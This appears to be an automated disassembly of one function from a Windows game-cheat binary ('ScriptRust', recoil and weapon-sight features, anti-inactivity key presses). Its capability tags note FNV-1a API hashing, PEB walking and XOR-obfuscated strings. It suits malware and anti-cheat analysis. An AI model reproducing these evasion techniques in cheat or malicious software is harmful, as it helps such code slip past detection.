Function at 0x140059810
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Execute command
Hash data using fnv
Open clipboard
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x4b40]
mov eax, 0x4c40
call fcn.1400747d0
sub rsp, rax
mov rax, qword [0x14008a040]
xor rax, rsp
mov qword [rbp + 0x4a90], rax
xor esi, esi
lea r8, [0x140050260]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059907
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059907
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059902
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400598e0
cmp r8d, 0x53b2070f
je 0x14005990c
test r9d, r9d
jne 0x1400598c0
mov rax, qword [rax]
jmp 0x140059890
mov ecx, dword [rdi + 0x24]
movabs rax, 0x3b929a259de0b2ee
add rcx, r10
movabs r14, 0x15e6ff4bf48edb99
movabs r15, 0xd68b76d8cd421fd2
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
lea rcx, [rbp + 0x7d0]
mov qword [rsp + 0x60], rax
add r8, r10
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x7d0], rax
movabs rax, 0xd68b76d8cd2e73b6
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x7d8], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x4a20], rax
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x4a28], rax
movdqa xmm0, xmmword [rbp + 0x4a20]
xorps xmm0, xmmword [rbp + 0x7d0]
movdqa xmmword [rbp + 0x7d0], xmm0
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059a47
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059a47
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059a42
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059a20
cmp r8d, 0x53b2070f
je 0x140059a4c
test r9d, r9d
jne 0x140059a00
mov rax, qword [rax]
jmp 0x1400599d0
mov ecx, dword [rdi + 0x24]
movabs rax, 0x71c8912499e2a9ec
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r8d, dword [rcx + rdx*4]
lea rcx, [rbp + 0x7e0]
mov qword [rsp + 0x60], rax
add r8, r10
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xd68b76d8cd4273be
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x7e8], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x4a20], rax
mov qword [rsp + 0x60], r15
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x4a28], rax
movdqa xmm0, xmmword [rbp + 0x4a20]
xorps xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x7e0], xmm0
call r8
movups xmm0, xmmword [str.api.ipify.org]
mov eax, dword [0x14007d4d8]
lea rdx, [rbp + 0x4a50]
mov dword [rbp + 0x4a88], eax
lea rcx, [rbp + 0x4a70]
mov eax, dword [0x14007d4f8]
movups xmmword [rbp + 0x4a70], xmm0
mov dword [rbp + 0x4a68], eax
movsd xmm0, qword [0x14007d4d0]
movsd qword [rbp + 0x4a80], xmm0
movups xmm0, xmmword [str.__formattext]
movups xmmword [rbp + 0x4a50], xmm0
movsd xmm0, qword [0x14007d4f0]
movsd qword [rbp + 0x4a60], xmm0
call fcn.1400589d0
mov rbx, rax
test rax, rax
je 0x140059c68
mov rcx, rax
call fcn.1400597c0
test al, al
jne 0x140059b79
mov qword [rsp + 0x28], rsi
lea r8, [0x140058600]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rbx
call fcn.1400736d0
lea rax, [0x140070550]
mov dword [rbp + 0x23d0], 0x50
xor ecx, ecx
mov qword [rbp + 0x23d8], rax
mov dword [rbp + 0x23d4], 0x40
mov qword [rbp + 0x23e0], rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x2418], rsi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x23f0], xmm0
lea rbx, str._________________________________________________________ScriptRust
movdqu xmmword [rbp + 0x2400], xmm1
lea rcx, [rbp + 0x23d0]
mov qword [rbp + 0x23e8], rax
mov qword [rbp + 0x2410], rbx
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0x23e8]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x2410]
mov r8, rbx
mov qword [rsp + 0x58], rsi
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x14008aeb0], rax
call fcn.14004cfe0
test al, al
jne 0x140059c72
call fcn.14004d0c0
mov rdx, qword [rbp + 0x23e8]
mov rcx, qword [rbp + 0x2410]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
jmp 0x14006f143
mov rcx, qword [0x14008aeb0]
mov edx, 0xa
mov qword [rsp + 0x4c70], r12
mov qword [rsp + 0x4c78], r13
movaps xmmword [rsp + 0x4c30], xmm6
movaps xmmword [rsp + 0x4c20], xmm7
movaps xmmword [rsp + 0x4c10], xmm8
movaps xmmword [rsp + 0x4c00], xmm9
movaps xmmword [rsp + 0x4bf0], xmm10
movaps xmmword [rsp + 0x4be0], xmm11
movaps xmmword [rsp + 0x4bd0], xmm12
movaps xmmword [rsp + 0x4bc0], xmm13
movaps xmmword [rsp + 0x4bb0], xmm14
movaps xmmword [rsp + 0x4ba0], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14008aeb0]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.1400069d0
call fcn.140006ab0
mov qword [rbp + 0x4a20], rax
mov qword [rax + 0x18], rsi
or dword [rax], 0x400
mov rbx, qword [rax + 0xa0]
mov rcx, rbx
call fcn.1400320d0
movss xmm2, dword [0x14007f808]
lea rdx, str.C:WindowsFontscalibrib.ttf
xor r9d, r9d
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002ff70
call fcn.140004ad0
movss xmm1, dword [0x14007f7e8]
lea rcx, [rbp + 0x240]
xor ebx, ebx
movaps xmm2, xmm1
mov rsi, rax
mov dword [rax + 0x10], ebx
mov qword [rax + 0x70], 0x41200000
mov dword [rax], 0x3f800000
mov dword [rax + 0x44], ebx
mov dword [rax + 0xb4], 0x40500000
call fcn.140002a20
movss xmm6, dword [0x14007f7f8]
lea rcx, [rbp + 0x248]
movss xmm1, dword [0x14007f800]
movaps xmm2, xmm6
movsd xmm0, qword [rax]
movsd qword [rsi + 0x38], xmm0
mov dword [rsi + 0x40], 0x40800000
call fcn.140002a20
movss xmm2, dword [0x14007f7f0]
lea rcx, [rbp + 0x250]
movaps xmm1, xmm6
movsd xmm0, qword [rax]
movsd qword [rsi + 0x48], xmm0
call fcn.140002a20
mov rcx, qword [0x14008aeb0]
movsd xmm0, qword [rax]
movsd qword [rsi + 0x50], xmm0
mov dword [rsi + 0x60], 0x41c80000
mov dword [rsi + 0x68], 0x3f800000
mov dword [rsi + 0x6c], 0x41100000
call fcn.140035ba0
mov rcx, qword [0x14008ae80]
call fcn.140035310
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x2570]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rbp + 0x2578]
add eax, 0xfffffe0c
movd xmm1, eax
mov eax, dword [rbp + 0x257c]
cvtdq2ps xmm1, xmm1
add eax, 0xfffffec0
mulss xmm1, dword [0x14007f468]
movss dword [rbp + 0x5c], xmm1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, dword [0x14007f468]
xorps xmm0, xmm0
mov edi, dword [0x14008a090]
movdqa xmm8, xmmword [0x14007fa10]
xorps xmm13, xmm13
movdqa xmm11, xmmword [0x14007fa20]
movdqa xmm9, xmmword [0x14007fa00]
movdqa xmm6, xmmword [0x1400800e0]
movdqa xmm7, xmmword [0x14007f9d0]
movdqa xmm10, xmmword [0x14007f9e0]
movss xmm14, dword [0x14007f810]
movss xmm12, dword [0x14007f8d0]
movss xmm15, dword [0x14007f4f4]
movss dword [rsp + 0x60], xmm1
movups xmmword [rbp + 0x2900], xmm0
movups xmmword [rbp + 0x2910], xmm0
movups xmmword [rbp + 0x2920], xmm0
nop
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x2900]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140059f10
lea rcx, [rbp + 0x2900]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x2900]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14006f089
cmp qword [0x14008d2a0], 0
jne 0x140059f32
cmp qword [0x14008d2b0], 0
je 0x140059f32
call fcn.1400353e0
test al, al
je 0x140059f32
call fcn.140035b30
call fcn.1400366a0
call fcn.140008210
mov rcx, qword [0x14008ae30]
lea rdx, [0x14008a0ca]
movss xmm1, dword [rsp + 0x60]
mov r8d, 0x148
movss xmm0, dword [rbp + 0x5c]
unpcklps xmm0, xmm1
movss xmm1, dword [0x14007f88c]
movsd qword [rcx + 0x1ce4], xmm0
movaps xmm0, xmm13
unpcklps xmm0, xmm13
movsd qword [rcx + 0x1cec], xmm0
movss xmm0, dword [0x14007f8a0]
mov dword [rcx + 0x1cd4], 2
mov byte [rcx + 0x1d0c], 1
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1cf4], xmm0
mov dword [rcx + 0x1cd8], 1
or dword [rcx + 0x1cd0], 0x43
mov dword [rcx + 0x1d30], 0x3f800000
lea rcx, str._________________________________________________________ScriptRust
call fcn.14000e400
mov eax, dword [0x14008a3d8]
cmp eax, 1
jne 0x140066aaa
call fcn.140057860
call fcn.14003afa0
cmp byte [0x14007ed77], 0
mov rax, qword [0x14007ed70]
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x270], 0x43660000
mov dword [rbp + 0x274], 0x43700000
je 0x14005a134
cmp edi, 2
jl 0x14005a0ee
movdqa xmm1, xmm7
movdqa xmm0, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x278]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbp + 0x278], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, dword [rbp + 0x27c]
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm11
xorps xmm1, xmm0
movd dword [rbp + 0x27c], xmm1
jmp 0x14005a134
lea r9, [rbp + 0x278]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14005a100
mov rcx, qword [0x14008ae30]
lea rdx, [rbp + 0x278]
xor r8d, r8d
mov rax, qword [rcx + 0x1c20]
mov byte [rax + 0xc1], 1
mov rcx, qword [rcx + 0x1c20]
call fcn.140006240
mov edx, eax
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [rbp + 0x270]
lea rcx, [rbp + 0x278]
call fcn.14000b3c0
movzx ecx, word [0x14007f1e8]
lea rdx, [0x14008a12a]
mov eax, dword [str.q_WUT:]
mov dword [rbp + 0x174], eax
movzx eax, byte [0x14007f1ea]
xor byte [rbp + 0x175], 0x35
xor al, 0x3a
xor byte [rbp + 0x176], 0x36
xor byte [rbp + 0x177], 0x37
mov word [rbp + 0x178], cx
xor cl, 0x38
xor byte [rbp + 0x179], 0x39
mov byte [rbp + 0x178], cl
lea rcx, [rbp + 0x174]
mov byte [rbp + 0x174], 0x45
mov byte [rbp + 0x17a], al
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005a1fe
cmp byte [0x14008ae2b], 1
jne 0x14005a20b
mov byte [0x14008ae2b], 0
jmp 0x14005a20b
cmp byte [0x14008a0c8], 0
je 0x14005a2c7
lea rdx, [rbp + 0x3a0]
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0x40]
call fcn.14006f170
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14005a24c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x14008b0ed]
mov rcx, rax
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005a274
cmp byte [0x14008ae2b], 1
jne 0x14005a274
mov byte [0x14008ae2b], 0
cmp byte [0x14008b0ed], 1
jne 0x14005a2a7
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x20
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, 0x20
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x14008b0ed], 1
cmp byte [0x14008a0c9], 1
jne 0x14005a2c7
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005a2c7
lea rcx, str.You_will_not_be_kicked_from_the_server_for_inactivity
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005a4bf
lea rdx, [rbp + 0x800]
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x68]
call fcn.14006f190
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14005a454
cmp edi, 2
jl 0x14005a40f
movdqa xmmword [rbp + 0x810], xmm11
mov edx, ebx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x10
jl 0x14005a320
jmp 0x14005a454
mov r9, r10
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005a420
lea rdx, [0x14008b0ed]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008b0ed], 1
jne 0x14005a496
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x20
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor edx, edx
mov r8d, 2
mov cl, 0x20
call qword [sym.imp.USER32.dll_keybd_event]
mov byte [0x14008b0ed], 1
cmp byte [0x14008a0c9], 1
jne 0x14005a4bf
cmp byte [0x14008ae2b], 1
jne 0x14005a4bf
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005a4bf
lea rcx, str.______
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005a55b
lea rdx, [rbp + 0x430]
mov byte [rsp + 0x69], 0
lea rcx, [rsp + 0x69]
call fcn.14006f1a0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14005a513
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x14008b52e]
mov rcx, rax
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005a53b
cmp byte [0x14008ae2b], 1
jne 0x14005a53b
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005a55b
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005a55b
lea rcx, str.Legit_Recoil
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005a71c
lea rdx, [rbp + 0x1808]
mov byte [rsp + 0x6a], 0
lea rcx, [rsp + 0x6a]
call fcn.14006f1c0
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x14005a6e4
mov r8d, ebx
cmp edi, 2
jl 0x14005a6a5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x14005a5b0
cmp r8d, 0x22
jge 0x14005a6e4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14005a6b0
lea rdx, [0x14008b52e]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x14005a71c
cmp byte [0x14008ae2b], 1
jne 0x14005a71c
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005a71c
lea rcx, [0x14007d5a0]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005a8bc
lea rdx, [rbp + 0x5e0]
mov byte [rsp + 0x6b], 0
lea rcx, [rsp + 0x6b]
call fcn.14006f1f0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14005a874
mov r8d, ebx
cmp edi, 2
jl 0x14005a831
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [r10], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14005a840
lea rdx, [0x14008b52b]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c8], 1
jne 0x14005a89c
cmp byte [0x14008ae2b], 1
jne 0x14005a89c
mov byte [0x14008ae2b], 0
cmp byte [0x14008a0c9], 1
jne 0x14005a8bc
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005a8bc
lea rcx, str.Window_with_active_weapon_sight
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14005aa7c
lea rdx, [rbp + 0x1468]
mov byte [rsp + 0x6c], 0
lea rcx, [rsp + 0x6c]
call fcn.14006f220
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x14005aa44
mov r8d, ebx
cmp edi, 2
jl 0x14005aa05
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x14005a910
cmp r8d, 0x1f
jge 0x14005aa44
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1f
jl 0x14005aa10
lea rdx, [0x14008b52b]
mov rcx, r10
call fcn.14003aa90
cmp byte [0x14008a0c9], 1
jne 0x14005aa7c
cmp byte [0x14008ae2b], 1
jne 0x14005aa7c
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14005aa7c
lea rcx, [0x14007d5f0]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x14005acda
lea rdx, [rbp + 0x10d8]
mov byte [rsp + 0x6d], 0
lea rcx, [rsp + 0x6d]
call fcn.14006f260
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14005ac04
mov r8d, ebx
cmp edi, 2
jl 0x14005abc5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
